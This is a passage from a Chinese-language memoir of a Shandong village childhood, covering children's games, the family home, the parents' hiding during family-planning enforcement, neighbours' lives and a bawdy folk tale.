石子儿一般都是自己用大石头来敲成小石子儿,然后磨出来的一个一个的四方的或者圆形的小石子儿,像弹珠那么大。有的小孩儿的石子儿可能是砂石做的,褐色的。我最喜欢的是漂亮的青石子儿。作为全村的“游戏大王”,我自己准备了一副青石子儿,那是我用蓝蓝的、泛着白光的小石头敲出来的。刚成形的石子儿是有锋芒、有棱角的,摸起来有些扎手。用着用着,一个个小石子儿就会滑溜溜的。我把它装在挎包里。因为经常装石子儿,我的挎包经常被磨坏磨透磨穿孔。 还有一种游戏就是现在说的掷卡片了。我们那时候没有卡片,我们用两张烟盒的漂亮的外包装纸叠成四角形,我们叫做“宝”。这“宝”是庄稼人嘴里的四只金元宝的“宝”。烟盒里面的锡箔纸做成的“宝”,是没有人承认的。两个小孩挎包里装着各自的“宝”。新“宝”圆鼓鼓,肥墩墩,憋着一肚子的气。新“宝”虽然干干净净,但是特别容易起蹦儿。人家一个旧“宝”捶下去,它就人仰马翻,束手就擒了。旧“宝”虽泥泞不堪,但因为久经沙场,早已是刀枪不入,任凭双方甩疼了胳膊,斗上好几个回合,它也稳如泰山,确乎是一名“宿将”。 两个小孩儿裤子挎包里带着自己的“宝”,狭路相逢。 “来宝吧!” “来!” 于是双方掏出自己的“宝”斗将起来。用自己的“宝”去砸对方的“宝”,砸一个翻身儿即为赢,赢家就可以把这只原是对方的“宝”据为己有了。如果自己的“宝”砸上去以后,对方的“宝”纹丝不动,那么就由对方来砸自己的“宝”。被砸的这只“宝”最好是平展展贴在地上,不给对方任何空隙,让对方无懈可击。如果被砸的这只“宝”不巧滚在一个坡上或者石头上,翘起了一角,那么对方来砸的时候,很容易把它砸翻身,从而被对方“俘虏”。 两“宝”相斗的过程中,“宝”的位置在变换,人也跟着动。有时候地面坑洼有水,两军也只好在泥泞里“作战”,并且依然胆战心惊。所以越是一些有“作战经验”的九死一生的旧“宝”,越是泥泞不堪,但是它的主人非常珍爱它,因为它是他的“常胜冠军”。 “作战”的时候,我最喜欢对方的肥肥胖胖的新“宝”,因为图案花哨,是我没有见过的“宝”,我看一眼就特别想得到。每逢看到大龙带着这样的新“宝”在炫耀,我就鼓动着让他跟我一起“来宝”。他的新“宝”一砸就起蹦,很快就归了我。我赢了以后也不敢让它继续出战,恐又被对方赢了去。这样的新“宝”一定要在地上多踩几脚,这样它才够扁,够贴近土地,从而不会轻易被对方赢了去。 “来宝”可以在冬天玩,越玩越热乎。初玩者是要受苦的,因为一次次地用“宝”砸下去“攻击”对方,用的全是手劲和臂力。没有“江湖经验”的小孩玩完“宝”以后,且等着夜里手酸胳膊疼吧。我是很爱“宝”的,我玩起“宝”来也很雄壮。我挎包里有一堆的“宝”,经常跟几个小男孩“厮杀”上多少回合。 6.我家的屋、我家的院子 常常梦见故乡,梦见曾经的老房子,梦见老屋东北角上的槐树绽放了绿枝,那绿枝摇曳在我的梦里、我的心里。 有一天,俺奶奶跟俺爸爸说:“喜儿啊,咱两家的屋换换吧。你就一个人。俺跟恁爹跟福伦三口人儿,住不下。福伦还没结婚。” 我爸爸说:“我要是跟恁换了,她娘儿四个回来住哪啊?” 我爸爸没跟我奶奶换屋。我爸爸回到南乡以后,我跟我妈妈说了这件事。 “妈,要是俺爷爷非要跟咱换怎么办?咱家的屋是俺爷爷盖的吧?”我问我妈妈。 “哪的事儿哎!咱家的屋是恁爸爸一个人起石头盖的。恁爸爸年轻的时候去东北刨参土,挣的钱寄回来,让他爹他娘给他攒着,留着给他盖屋娶媳妇。恁爷爷奶奶肯吃!他两个人拿着恁爸爸挣来的钱大吃二喝。肉都吃够了。” “肉端上桌,恁爷爷、奶奶高高兴兴地坐在一块儿。这个说,‘我不喜吃肥肉!我喜吃瘦肉!’那个说,‘我也不喜吃肥肉!你吃!’恁爸爸拼死拼活刨参土赚的钱,都被恁爷爷奶奶给败坏了。等恁爸爸从东北回来,想去找恁爷爷奶奶要钱盖屋娶媳妇的,哪儿还有啊。恁爸爸哭着,自己去石塱里起石头。恁爷爷都不去给帮忙。恁爸爸没办法,就跟奶奶说,‘娘!我要放炮了,你给我看着点,别让旁人过来!’恁奶奶说,‘行!’” “就这样,恁爸爸自己放炮,恁奶奶帮他看着人。放完炮,恁爸爸自己把石头一块一块地錾平,再一块一块地从石塱里背上来。这才盖的屋。” 我说:“俺奶奶说的,咱家的屋就俺爸爸一个人住。俺爸爸要是不跟她换,管吗?” 我妈妈说:“咱凭什么跟她换的?咱娘几个光待南乡啊?咱不回去啊?老养汉,说话真毒啊。多会无视人儿啊。就她儿一个人!她把咱娘几个都给抹去了!” 我家的堂屋一共三间。院子是六间房的地势,格外宽敞。青石砌墙,麦秸做的屋顶。在那个年代,在那时的村庄,并不十分落后。院墙是一块块不规则的青石磊起来的。小木板扣起来做的大门,铁链子挂在铁条子弯成的门扣上,就是大门的锁。大门进门儿右手边儿,是一棵茁壮的樱桃树,枝叶亭亭如盖,粉白的樱花,橙黄色带红头的樱桃,给这个贫穷的家,给那个一贫如洗的年华,给这对年轻的夫妻,增添了很多浪漫。 两扇堂屋门上涂了黑漆,外头是打造成刀币似的门链子,和一把青锁。屋门朝里的一面是门栓。晚上睡觉前插上门栓。胆小的话再用顶门杠顶上门,加强安全。 房屋朝阳的一面,东西间的屋子里各开一扇窗户。堂屋正北面墙上也开了一扇钟表大小的小窗,小窗背面,朝着屋里的那一面,是小小的门栓,就在饭桌正上头。我站在饭桌上,打开门栓,朝后看,就看见了金凉家。金凉家在我家堂屋后头,金凉的老婆会做豆腐。金凉家两个孩子,大女儿和小儿子,年龄跟我们姐弟差不多。经常听见金凉打老婆。人家去拉架,拉不住。就喊她:“她大婶子,你快跑啊!”然后,那个大婶子才“咕咚!咕咚!”撒开腿跑起来。跑远了,还是要回来,还是得继续过日子。大婶子还是继续卖豆腐。 有一次,金凉大婶子又来卖豆腐,豆腐水淋淋,散散的,不成个儿。 “没压好!”大婶子笑着说。 我把这事儿说给我妈妈听。我的意思是,俺金凉大婶子还蛮实诚,还说自己的豆腐压地不好。 我妈妈说:“豆腐没压好,全都是水。她还是照原价卖,这不是坑人吗。卖给庄亲世邻的时候不该少要点钱吗?”我一想,对哇。我突然觉得这个经常挨揍的大婶子做事儿也不太厚道。她笑着的面容,在我的眼里也现出了驴子似的活该挨揍的愚蠢。 我家的饭桌是堂屋里唯一的大件的陈设。黑漆涂的带红杠的筷子很新,因为一家子完完整整聚在一起的时日并不多。筷子散发着不好闻的油漆味儿,那是长期缺乏人使用的原因。我家的筷子很新,没有家的味道,不像爷爷奶奶家,一天三顿都动筷子。因为不经常做饭,更不做什么好饭,我家堂屋里常年冷冷清清的。 饭桌左上角,一张白纸上龙飞凤舞着好些个字,据说那是梅花篆字,红红绿绿黄黄,像展翅飞翔的小鸟一样。饭桌右上角的正面墙上,是杨宗保和穆桂英的画像,他们夫妻二人骑着战马,提着宝剑,一前一后,一个前瞻,一个后盼,眉宇间,既有夫妻深情,也有辗转沙场的强悍。 饭桌东是一面隔墙。隔墙外面,对着堂屋的那一面,有一幅画,我非常喜欢。那画上,是一个身穿红衣,头发黑黑,眼睛大大,戴着发卡的小女孩,和一条卧在竹篮里的黄棕色的小毛毛狗,分外温馨可爱。 隔墙另一面,也就是朝着卧室的那一面,是一副钟馗捉鬼的纸画儿。身穿绿袍面目狰狞的天神钟馗,一手捉着一只披头散发几欲挣脱的小鬼,一手持剑正在刺杀。小鬼大概是被钟馗的剑给刺痛了,他面目丑陋而又惊恐地呲着牙,他的胸前涂了一片血似的朱砂。很多人家里都有这样辟邪的画子。可能因为我久居爷爷家,很少住在自己家的缘故,我对这幅画分外害怕,尤其是夜里睡觉的时候。也让我对我本就不常住的家,充满了更多的陌生和害怕。 隔墙里头,是我爸爸妈妈结婚时的大床。这屋里除了妈妈出嫁时的两个漆着红漆的木头箱子,再没有其他像样的陈设了。我爸妈从我爷爷奶奶那里得到的传承微乎其微。我妈妈说,分家的时候,我爷爷奶奶请了张庄的我舅奶奶家的表大爷来主持。表大爷是我奶奶娘家的亲侄子,当然处处都让着我奶奶。我奶奶说:“这个坐床子跟了我十几年了,我得留着!”爷爷说:“这个椅子我坐习惯了,我得留下来!”两位老人家跟很多物件都有感情,他们全部给自己留下来。我家除了三间正房,一张睡觉的床,和一张吃饭的桌子,几乎没有什么像样儿的家具了。 我家堂屋的梁头上吊着一个小箢子。爸妈把一些好吃的饼干、糖果放在箢子里。箢子里还有爸爸的一本日记,粉红色的塑壳封面上,一匹白底黑色的骏马在奔腾。日记本的夹页里,有一张潘虹扮演的杜十娘的剧照。在傍晚的山色里,杜十娘走在随郎回乡的路上,山路崎岖,脚下是磊磊的青石,鬓边是枝头上的红叶。秋山晚景里,美人杜十娘穿着一身素衣,披着蓝色的斗篷,笑嘻嘻地一步步地攀登。她的心里,是在走一条光明的路,也是在走一条幸福美满的路。 日记本里,有爸爸写的几句话: “一日离家千里创,千万别把家来想”。 “我们的同志,在困难的时候,要看到看到成绩,要看到光明,要提高我们的勇气。 ” 爸爸的日记本儿里头还记着我爸爸妈妈都爱唱的歌。字是爸爸用纯蓝色的钢笔写的,一笔一画,像刀刻的一样,工工整整,书法虽不高超,但是很沉稳、干净、大气。听说,我爸爸小时候上学成绩很好,又深得老师喜爱,可惜因为家里穷,父母供不起,爸爸只上到五年级。每逢过年,爸爸都是买了红纸自己写对联。爸爸的字横平竖直,也很好看。爸爸是全庄公认的老实人,他斯文清秀,人品好,中老年人认可他,年轻人也敬重他。 堂屋门西旁儿,是一棵手臂一样粗的杏树,那是麦黄杏。当家家户户天井里堆满麦秸,忙着收麦的时候,鸡蛋大小的麦黄杏已经成熟了。 天井里,通往堂屋的小路的西边,天井的中央,也是一棵杏树。那是一棵小杏。二月的杏花,白白的花瓣,红红的蕊,甚是淡雅。爸爸用成块的石板砌成了齐腰高的一片石台子。杏花的花瓣纷纷飘落,落在石台子上,落在石台子下头的天井里。 紧挨着这棵杏树,是一棵石榴树。四五月份,石榴花盛开了,满树油亮的石榴叶子金光闪闪的,簇拥着红彤彤的石榴花。起风的时候,地上落了一地的石榴花瓣,像是人家结婚时放鞭炮留下的红纸,喜气洋洋。它是被我妈妈从别的什么地方移栽过来的。它从一棵摇摇欲坠的小葱似的树苗儿,渐渐地长大、长高,变得枝条丛生,热烈而沧桑。她是那么火热,那么亮堂,那么昂扬。无论风风雨雨,她的绚烂和热烈还是一如既往,她从不沮丧。 她像我的妈妈,我妈妈的品格很像那树石榴花。无论贫寒也好,卑贱也罢,她总有自己骨子里自带的光亮。她也由内而外地热烈、昂扬。我妈妈哭过,骂过,可是我从来没有见她沮丧过。那样万难的日子里,她一个人抚养着三个孩子,过着劳苦无涯、一眼望不到边的苦日子,她还是那么热情似火,她是怎么做到的?除了我们看不见的老天爷的护佑,还有什么在滋养着她,让她没有疯、没有倒下?是她骨子里的刚强,她骨子里的刚强像山东的山一样,壁立千仞,百折不摧。是她内心的自信,她信她自己,老了必有后福,她信她的儿女,必不会让她永远悲苦下去。 石台子以西,靠近西院墙,是一个青石砌的猪圈,一开始养猪,后来就荒废了。猪圈外头是一丛低矮的葡萄架,一小串一小串的小颗粒的葡萄,红红黄黄紫紫。院墙以西,是爸爸经常推着自行车回家的路。想念爸爸的时候,我就攀着葡萄架爬到猪圈上,向西眺望爸爸来的方向。 我家堂屋东边是一个高高的用青石磊成的鸡窝。鸡窝搭地很高,比我爸爸还高,大人去鸡窝里捡鸡蛋也得踮起脚儿,仰起头儿。为什么把鸡窝搭地那么高呢?也许是怕黄鼠狼拉□□。母鸡一直在天井里“咯嗒硌嗒”地叫唤,她烦躁不安,她要下蛋。她“扑棱棱”展开翅膀,飞到高高的窝儿里头蹲上半天。等她完成了下蛋的使命,再轻轻松松地,炫耀似的,“咯嗒硌嗒”地从那高高的鸡窝上头飞下来。 柴堆里,一只公鸡踩在母鸡的背上,两只鸡叽叽喳喳地在从事它们的活动。我听我妈妈说过,那两只鸡是在“压荣”。 关于鸡“压荣”,我还听我妈妈说过一段“鼓儿敲”的故事。 有一个老公公,他不是好东西,成天想打他儿媳妇的主意。这天,他儿子不在家,出远门儿了。他儿媳妇一个人蹲在鏊子窝里烙煎饼,老头子也跟过去,蹲在他儿媳妇鏊子窝里。旁边儿,一个公鸡跟一个母鸡在“压荣”。 老头子故意问他儿媳妇说:“恁嫂子,那鸡在做什么的啊?” 他儿媳妇说:“那鸡在‘鼓儿敲’,爹。” 老头子跟他儿媳妇说:“恁嫂子啊,咱也‘鼓儿敲’吧。” 儿媳妇说:“行。白天怕人看到,恁老人家晚上到俺屋里来找我。” 到了晚上,儿媳妇烧了一大锅开水,倒进罐子里,上头找纸蒙上,用麻绳儿勒好。老头子去他儿媳妇屋里找他儿媳妇来了。 他儿媳妇跟他说:“我喜欢有力道的。你要是能把这罐子上的纸戳透,我就跟你‘鼓儿敲’。” 老头子听了,用尽全身力气,使劲儿朝那罐子上的纸戳去。哪知道罐子里头装的是滚烫的开水。老头子提着裤子“哇呀”就跑。 到了吃饭的时候,儿媳妇打发她家小孩儿去喊他爷爷吃饭。小孩儿去了一趟没把他爷爷喊来。 儿媳妇问她孩子:“恁爷爷在做什么啊?” 她孩子说:“俺爷爷蹲到南墙根里,在剥毛芋头皮儿呢。” 我家的鸡蛋放在箢子里,我平时自己不敢动。只有跟艳飞大姐一起玩的时候,她才鼓动我去拿我家的鸡蛋,煮了跟她一起吃。鸡蛋少了,不知道我爸爸有没有发现。但他从来没有责怪过我。 竹来大爷小店后头的地里有一块石头,像是一头小羊。一天上午,我跟艳飞大姐骑在那块石头上玩,不知道怎么回事,去南乡的爸爸突然回家了。他虎着脸把我吵回了家:“家去!天天在外头!跟个野马似的!”我垂头丧气地跟着我爸爸回到我家。我爸爸去箢子那儿拿出来一个鸡蛋,放在我们的大锅里煮了煮,让我坐下来吃。我坐在我家的石台子前,吃着自己剥地并不完整的鸡蛋,盘算着什么时候可以出去玩。 为什么我爸爸一回山东就给我煮鸡蛋吃呢?我那时候觉得莫名其妙。到现在我有些明白了。可能是他刚从南乡回来,感念于我妈妈一个人在南乡给他养儿育女的种种不易吧。又或许,他在南乡的时候,我妈妈对我很是挂念,让他回山东以后,好生对我吧。总之,我爸爸对我的那些疼爱,都是跟我妈妈有关的。 有一个夏天,我又跟艳飞大姐一起去庄西头儿的石塱里洗澡。石塱里的水不深,都是下雨积攒的雨水,底下是黄土,四周是山芋地,那简直就是一个黄泥坑。那些昏黄的水,被太阳晒地热热的,也并不凉爽。我们在里头游着玩,玩够了,光着脚丫子站到水坑边一摞高高的石头上,拍着屁股晒太阳。不知道什么时候,我爸爸从南乡回来了。也不知道他是怎么突然找到石塱里来了,他一言不发给我屁股上两个巴掌,然后悻悻地走了。 我爸爸不是忙着种地,就是去出苦力。除了去南乡,他很少带我。有一次,爸爸把我带到他起石头的地方。那里靠近张庄,也是一片石塱。爸爸和几个爷爷、大爷,在石头坑里拿着锤子和錾敲石头,我自己在石头坑边儿上玩。我的脚底下、眼皮子底下,全是他们起上来的大石头,小石头,和石头片子。那些石头块子尖楞楞的,泛着青白色的光。石头片子铺了一地,密密麻麻的,跟树叶一样,把脚底下的土地全都盖上,想找个坐的地方都没有。我无事可做,拿着他们留在地上的锤子和錾,找块石头,也敲打着玩。一个不小心,一头撞到石头上,头上冒血了,鲜血淹没了我的眼睛。我爸爸和他的几个工友围过来,帮着照顾我。题兰老爷爷,撕下自己棉袄上的棉花,给我擦脸上的血。我坐在爸爸自行车后座上,爸爸用一件衣裳裹住了我的脑袋,带着我去了大泉管理区的一家诊所。医生用紫贡水给我消了毒,再用纱布给我把头包上。 6. 爸爸妈妈、弟弟妹妹终于回来了 1.爸爸妈妈回山东 后来,爸爸妈妈终于决定回山东老家了。爸爸拉着平板车,车上坐着我、弟弟、妈妈,妈妈抱着妹妹。回乡的行程很慢,天色已晚,老家还是很远。路灯亮起来,看不清路两旁和前方,我和妈妈不停地问:“到凤安了吗?到凤安了吗?”到了凤安就快到家了。可是没有。 天已经很晚了,我们一家五口只能在外面露宿。爸爸妈妈在路边地里找了一间场院屋,里面多的是麦秸,我们就在这里过夜。父母把麦秸铺好,让我们几个孩子睡觉。我们欣然睡在地上,一点也不惊慌。场院屋旁边,一个干活的老大爷看到我们,很是同情,他回家烧了红萝卜汤,用瓦罐子提过来,让我们一家子喝。我爸爸妈妈对那个老大爷千恩万谢。夜色中,热乎乎的粉红色的红萝卜汤,掺和了生姜,喝下去暖暖的、甜甜的。 我爱喝红萝卜汤。我爷爷也爱烧萝卜汤喝。漆黑的夜里,我看不清那个老大爷的样子,但是他的身影像极了我的姥爷。他的那罐子萝卜汤,是我这辈子喝过的最好喝的萝卜汤。这辈子,有很多人帮助过我们,一罐子汤,一块煎饼,一把盐豆子,一碗大米饭。小时候,我妈妈总是说,等恁都长大了,咱挑个清明佳节,一块儿去看看恁那个奶奶,恁那个爷爷去。可是,等我们长大了,四散分离,日子过得还是凄风苦雨。一直搁在心里的报答,终究还是顾不上,来不及。 我们就这样跟着父母一起风餐露宿,在茫茫的黑夜里赶路,我们就这样跟着,一点都不辛苦。路上的灯光让我觉得温暖和幸福。每当看到路边人家搭建的用来做小生意或是临时落脚的棚屋,我都觉得很是温暖。尤其是晚上,里面露出橘黄色的灯光,虽然简单粗陋,但是足可以庇护他们自己,让他们得一隅安寝,也能够温暖过往的路人。 爸爸妈妈、弟弟妹妹终于回来了。当时是麦口,爸爸和庄上的人都忙着割麦子,父母决定先不公开,一旦公开,妈妈就要去结扎,麦忙时节,爸爸里里外外实在照顾不过来。那些要来看望我妈妈的好姊妹、好娘们儿,也忙不过来。于是,妈妈、弟弟和妹妹每天都反锁在家里。 我每天还要去奶奶家玩,但我早已是身在曹营心在汉,偷空就跑回去见妈妈,见弟弟妹妹。那时候弟弟妹妹都小,弟弟也就三四岁,妹妹才一岁多,得大人抱着。我守口如瓶,不告诉奶奶我妈妈回来了。 念母心切,我时而忙里偷闲地跑回家里去。我家的屋门在外头锁着,我妈妈就坐在屋门口,我一进大门,就看见她的右手从门槛儿下的门缝儿里伸出来,挲门外头的一小堆垃圾。这是我妈妈常有的动作。我家的屋里,也是黄土地,我妈妈扫地的时候,会连同地上的黄土一起扫起来。她把那些黄土连同垃圾扫到一块儿,再蹲下身子把黄土上的垃圾挲起来,把黄土留下。 我回到了家,就能得到妈妈的照顾了。有一回,妈妈还给我扎了两个小羊角辫儿,我跑到奶奶家好一阵得意。奶奶问我是谁给我扎的头,我说是俺爸爸给我扎的。那是我记忆中难得的一家团聚,那是我极少的能得到父爱和母爱的日子。 当时是大夏天,奶奶让我给她看着大门外晒的黄豆,那些黄豆刚割下来不久,黑色的黄豆稞上是一个个饱满的豆荚。豆荚里是一粒粒的黄豆。我看了一会儿黄豆,看看四下无人,黄豆也安全,奶奶不会来,我就跑回北荆堂,跑到我家去找我妈妈。我在自己家,跟我弟弟妹妹一起玩。不一会儿,我听到我奶奶来我家叫我了。我妈妈就让我赶紧回去,我就赶紧往大门外跑。 我奶奶这次火气很大,她在路边人家的篱笆上抽了一根小荆条,边走边发狠说:“婊孙子儿,我这回非抽你不行!叫你给我看豆子,你不好好看!”奶奶边说,边拿着小条子抽我。我那时候也就五六岁吧,也许是被我奶奶抽地太疼,也许是故意哭给我妈妈听,也许是因为我妈妈在,所以我被我奶奶抽起来,会觉得格外的生疼。总之,我被她抽地哇哇大哭。 我在我家大门外头哭,我妈妈在家里听地清清楚楚。她是个刚烈的女人,她也一向不服我奶奶。按照她的性格,她听到奶奶打我,肯定是要冲出来护着我,同时跟我奶奶展开论战。凭她的口才,她绝对会让我奶奶一败涂地,铩羽而归。但是特殊时期,她不能出面,只能在家里忍痛听着我奶奶对我的打骂和我的哭喊。 一个人,一个女人,为了生活,能够忍受多少苦难呢? 过了麦口,我妈妈就去结扎了。同时,我弟弟妹妹都公开了。我弟弟那时候长得白白胖胖,穿着人家给的一件绿色的小背心。我带着他到大街上到处炫耀,他一身的肉,我都背不动他。弟弟跟山东人不熟,一口南乡蛮子话。我小时候,山东人叫南乡人“蛮子”,南乡人叫山东人“侉子”。 夏天到了,不知道是谁给了我家一筒牛蒡茶。长长的厚厚的硬纸筒子,打开来,里头装着三小罐茶叶。“牛蒡茶是什么茶啊,咱也没喝过。”我妈妈说。她去烧了一大锅水,把一片片的牛蒡茶叶倒进去。再用瓷盆子盛起来。我们慢慢地喝着碗里的茶,一点儿都不好喝,跟我妈妈烧的杨树根似的。我妈妈让我拿着一罐子茶叶给文利大爷家送去,我爸爸拿着一罐子茶叶去茂可爷爷家。 我爸爸去茂可爷爷家里找他剃头去了。我妈妈带着我们也去看。茂可爷爷正坐在天井的小马扎上,我爸爸在给他剃头。茂可奶奶也在。我妈妈跟茂可奶奶说话。我们在一边站着看我爸爸给茂可爷爷剃头。 三姑回来了。她穿着比较时髦的淡蓝色的背带裤。她的脸在整合了父母亲的基因以后,变得一点都不漂亮。既没有她爹的脸大气,也没有她娘的脸小巧白净。但三姑年幼一些,我跟她比较熟,我就喊她:“三姑!” “哎!大嫂子来了?”三姑跟我妈妈说。 “来了,妹妹。”我妈妈说,“我来看恁大哥给俺大叔剃头的。” “恁大叔的头发硬地跟个猪毛似的。每回剃头都费老鼻子劲儿了。你说。”茂可奶奶看着茂可爷爷的头说。 茂可奶奶生地细细条条,白白净净,干净利落。她穿着带碎花的的确良小褂儿,梳着二道毛子,鬓边子上卡着一根黑色的发卡。说起话来轻轻柔柔,像只小猫,“哇呜哇呜”地。茂可爷爷长得黑黑胖胖高高大大,一脸鬃毛,脸上油油晃晃,跟个杀猪匠子似的。也是因为他的缘故吧,茂可爷爷家的三个姑姑,尽管极力地打扮,并且自以为打扮起来很是好看,可是还不及她们的母亲好看。 茂可爷爷头发已经花白了。他慵慵懒懒地坐着,不怎么说话。我爸爸紧盯着他的脑袋给他剃头,那些黑黑的碎头发从他的头上簌簌落下。 我妈妈说:“剃头的时候不能使嘴吹,不能使手指盖子抠,要不然,会得手指盖子风。” 等我们回家的时候,我妈妈跟我们说:“出去可别说哈。我在南乡躲计划生育的时候。恁茂可爷爷还想诬赖恁爸爸跟茂可奶奶相好。那时候,我在南乡躲计划,家里就恁爸爸一个光棍儿,他没事儿的时候,就去茂可爷爷家里玩儿。时间长了,恁茂可爷爷竟然怀疑恁爸爸跟茂可奶奶相好。有一回,恁茂可爷爷跟恁茂可奶奶闹架了,恁茂可奶奶气地跑到外边儿要饭去了。恁茂可爷爷到处找也找不到她。他就趁着一早清起跑到咱家来了。那时候,恁爸爸还没起来呢。恁茂可爷爷假装来找恁爸爸拉呱,实际上是想堵恁爸爸跟茂可奶奶的。恁爸爸知道他的来意,就故意把屋门大开着,把蚊帐用蚊帐钩子钩起来,露出空空的床,让恁茂可爷爷看个放心,让他知道恁茂可奶奶不在咱家。” 我说:“那茂可奶奶在外头要饭怎么吃的?她能要上吃的了吧?” 我妈妈说:“恁茂可奶奶在外头混地可不孬了,她干干净净的一个人,到人家门儿上要饭,人家家里还没有儿媳妇的老嫲嫲看到她,喜坏了,转头儿就往屋里跑,要回屋拿鸡蛋,给她烧鸡蛋汤。吓得恁茂可奶奶撒腿就跑。人家老嫲嫲看她跑,就搁后头喊,‘恁大姐,恁别走!我给恁烧鸡蛋汤!’恁茂可奶奶吓得边跑边说,‘俺不喝了!’‘俺不喝了!’” 印象中,我爸爸妈妈感情很好,他们就像一对坚贞无比的鸟,谁对谁都是忠贞无二的。 晚上,我们一家子睡在堂屋门前的天井里,我妈妈燃起了一堆板栗花来熏蚊子,天上没有星,心里有些害怕,我们睡着,妈妈摇着扇子又给我们讲一回《野鸡精》的故事。 那时候,我妹妹还小,得大人抱着她。那时候她有多小呢,一个蓝色的手帕,缝上根小布条子,系在脖子里,就可以做她夏天的肚兜了。我还记得有一天下午,我妈妈怀里抱着我妹妹,跟一群姊妹娘们儿一块儿,坐在庄里大翠家门前的石墩子上凉快。我三叔不知道从哪里走过来,像一个善心大发的太君一样,把我妹妹托在头顶上,高高地举起来,我妹妹像个无知的童儿一样,被他擎在高空中,我妈妈担心地叮嘱他要小心。 大翠家跟我家差不多,孩子多,又穷。大翠遗传了奶奶和妈妈的基因,小鼻子,大眼睛,小嘴巴鼓鼓的,很会说话,像个小大人。 大翠的妹妹,丹丹,也经常来找我玩。丹丹,长得像她爸爸,单眼皮,貌不惊人,留着两边刚好能护脸的短发,个子矮矮的,像个男孩子。 “大侄女,你的脸真白,像脚心恁么白。”丹丹真诚地说。 有一阵子,我们在我家玩的时候,我就说服丹丹,把她的头发剪了。我把她额头上的头发修成直直的横线形,把她两颊的头发修成直直的竖线形。看着还蛮好看。可是她妈妈后来不愿意了,她穿着她新买的玫红色的毛衣和皮革的鞋子,瞪着眼睛、皱着眉头,向老娄奶奶指责我,嫌我瞎剪她女儿的头发。 “好好的,给我剪成这样儿!”大翠妈妈不满地说。 我确实动了人家的头发,就不吭声。 没想到,老娄奶奶却为我说话了:“行了,小孩儿脏不拉几的,换成旁人,还不愿理呢。也就她,有耐心。” 然而,过了一段时间,老娄奶奶也开始指责我了。原因是我给她的孙子大龙、大伟一块儿玩的时候,给他们两个起了顺口溜儿:“娄大超,手拿剃头刀儿。娄大国,天天蒸馍馍。”大伟叫娄大超,大龙叫娄大国。我跟大龙、大伟一起说着、笑着。大龙、大伟也念着我给他们起的外号,说着,笑着。好不快哉! 谁知道被老娄奶奶听到了。老娄奶奶驼着背,也像大翠的妈妈一样,恨恨地指责我:“这小妮子有才分的,瞎给大龙、大伟起外号!” 她家的老头子问她:“她给大龙、大伟起的什么外号?” “‘娄大超,手拿剃头刀儿!娄大国,天天蒸馍馍!’” 外号不能被喊出去的,一旦喊出去,就一辈子跟定了自己。大伟的爸爸就叫“沙溜子”,不知道是谁在他年轻的时候给他起的。所以老娄奶奶及时制止了我给她的孙子们起的外号,没让这个顺口溜儿继续传播。 大翠的舅舅经常来荆堂姐姐家玩。这个大龄青年,还没有结婚。他只要一来,大翠她们就跟着舅舅玩儿,庄上其他小孩也会凑过去玩儿。 “小舅,我要吃瓜挤儿!”丹丹抓着他的裤腿儿说。 “行!小舅给你买!”她小舅说。 “小舅,你的烟怎么夹在两个耳朵上的?”丹丹问。 “我的烟多,吸不完!我还有大前门儿的烟呢!”她小舅说。 “小舅!我要吸烟!你拿一根给我吸!”丹丹上跳着去够她小舅的烟。 “我的烟多了!不能给你吸!我还有带把儿的烟呢!”丹丹的小舅说。 这些话,一时成了我们的口头禅。 “我还有大前门的烟呢!我还有带把儿的烟呢!” 等到冬天,快过年的时候,大翠的小舅又来了。这次,他开着拖拉机,拉着大翠一家子,轰轰烈烈地,去县里洗澡了。全庄上的人都知道大翠家大冬天的跑去洗澡了。知道的人都嘲笑他们,把这件事当成笑话来讲。 “大冬天洗澡,真烧包!” “充的什么能儿啊!大冬天的去洗澡!” “人家都不洗澡,就他家得去洗个澡儿。真能是!” “那得去洗洗!洗个澡能上天!” 大冬天的洗澡。呵呵!这是多么好笑的事情啊! 2.“光!光!光棍的光!” 那时候,流行一首“光棍”歌。 “光!光!光棍的光!光棍的米饭蘸白糖!人家老婆孩子没有什么吃,光棍我吃的是米饭蘸白糖”。 我三叔是一个光棍,他不光拜了一桌子仁兄弟。家山二大爷家的大哥大华、二哥前进,跟他也颇有来往。他们来我奶奶家吃饭,盛了一碗白白的大米饭,洒上白糖,端到磨台上站着吃,边吃边跟我奶奶嘻嘻哈哈的。 “大奶奶!俺今天吃的是米饭蘸白糖!”前进哥笑眯眯地说,“俺跟俺三叔都是光棍儿!” 大哥长得一表人才,白白净净,利利正正。二哥长得也是一表人才,他比大哥要壮实,他大眼睛,双眼皮,生着笑嘻嘻的红润的面容。他们爱穿军绿色的裤子。大哥二哥走在一起,像是两个英俊的军人一样,挺秀又英勇。 是的,你还别说,宋家门儿的人长得真不错。 “恁两个孬龟孙,是真会吃!把我的半罐子白糖都给我吃了!”我奶奶笑着说。 我发现了,我奶奶对人家的人总是很好。 大哥没有什么回馈。二哥给我奶奶的回馈是两根香蕉。那是一个冬天的晚上,我跟奶奶在她家屋里间的床沿上坐着。 前进二哥来了:“大奶奶!给你香蕉吃!” 那时候,我们根本没有听说过什么是香蕉,我也从来都不知道香蕉是个什么味道。前进二哥递给我奶奶两根黑乎乎的东西。 “什么是香蕉哎?”我奶奶说,“俺没听说过这种东西的。” “我去俺姥爷家,俺姥爷买给我吃的。”二哥说。 我奶奶接在手里吃了,我也剥开吃了。因为是冬天,黑黑的香蕉皮里头包裹的黏糊糊的东西还没有腐坏,那味道清香甘甜,真是好吃极了。 那是我平生头一回吃香蕉。那以后,直到我上了初中,这其中近十年的时间里,我再也没有见过也没有吃过香蕉。 大华哥后来娶了大嫂子。大嫂子是东山那边的。 听说,没结婚的时候,大华哥常去丈母娘家里帮着干活儿。大哥往丈母娘家跑得比谁都勤快,等他见着了丈母娘,那张能说会道的小嘴儿更像是抹了蜜一样:“俺大娘啊,俺俩儿结婚以后,还是得常来看你,咱两家当成一家走,常来常往!” 大哥一席话,哄得媳妇开心,丈母娘也欢喜。很快,丈母娘就同意他们结婚了。大嫂子要人有人,要个儿有个儿,在南北荆堂都数得着。婚后,大嫂子生了一个男孩,叫磊磊。小磊磊可可爱爱,聪明伶俐,只是小两口儿天天吵架打架,大哥经常打大嫂子。大嫂子经常被打地卧床不起。 嫂子的老娘来看望闺女,坐在嫂子床前痛心地哭泣,边哭边数落大哥:“你那时候去俺家,你是怎么说的,你说的你会对俺闺女好的!你现在,你看看,你把她打成什么样儿了!可怜俺闺女在娘家,俺跟她爹舍不得动她一根手指头啊!” 